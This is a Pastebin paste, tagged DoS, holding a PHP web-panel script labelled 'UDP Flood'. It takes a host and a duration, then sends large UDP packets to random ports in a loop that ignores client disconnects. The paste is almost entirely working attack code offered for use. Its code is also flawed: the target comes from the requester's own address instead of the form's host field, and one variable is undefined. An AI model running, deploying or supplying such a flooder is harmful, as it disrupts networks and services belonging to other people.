X-Grats

Hijau UDP Flood

Oct 30th, 2023 (edited)
40
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.67 KB | Cybersecurity | 0 0
  1. <html>
  2. <BODY OnKeyPress="GetKeyCode();" text=#000CC bottomMargin=0 bgColor=black leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#66 cellPadding=5 width="100%" bgcolor=black borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><center><font color="#0033FF"><pre>
  3. <tr><td>
  4. <center>
  5. <?php
  6. //UDP
  7. if(isset($_GET['host'])&&is_numeric($_GET['time'])){
  8. $pakits = 0;
  9. ignore_user_abort(TRUE);
  10.  
  11. $exec_time = $_GET['time'];
  12.  
  13. $time = time();
  14. //print "Started: ".time('h:i:s')."<br>";
  15. $max_time = $time+$exec_time;
  16.  
  17. $host = $_SERVER['REMOTE_ADDR'];
  18.  
  19. for($i=0;$i<65000;$i++){
  20. $out .= 'X';
  21. }
  22. while(1){
  23. $pakits++;
  24. if(time() > $max_time){
  25. break;
  26. }
  27. $rand = rand(1,65000);
  28. $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  29. if($fp){
  30. fwrite($fp, $out);
  31. fclose($fp);
  32. }
  33. }
  34. echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n";
  35. echo '<br><br>
  36. <form action="'.$surl.'" method=GET>
  37. <input type="hidden" name="act" value="phptools">
  38. Host: <input type=text name=host value=IP>
  39. Length (seconds): <input type=text name=time value=15>
  40. <input type=submit value=Go></form>';
  41. }else{ echo '<br><b>UDP Flood</b><br>
  42. <form action=? method=GET>
  43. <input type="hidden" name="act" value="phptools">
  44. Host: <br><input type=text name=host ><br>
  45. Length (seconds): <br><input type=text name=time value=10><br>
  46. <input type=submit value=Go></form>';
  47. }
  48. ?>
  49. </tr></td>
  50. </body>
  51. </html>
Tags: DoS
Add Comment
Please, Sign In to add comment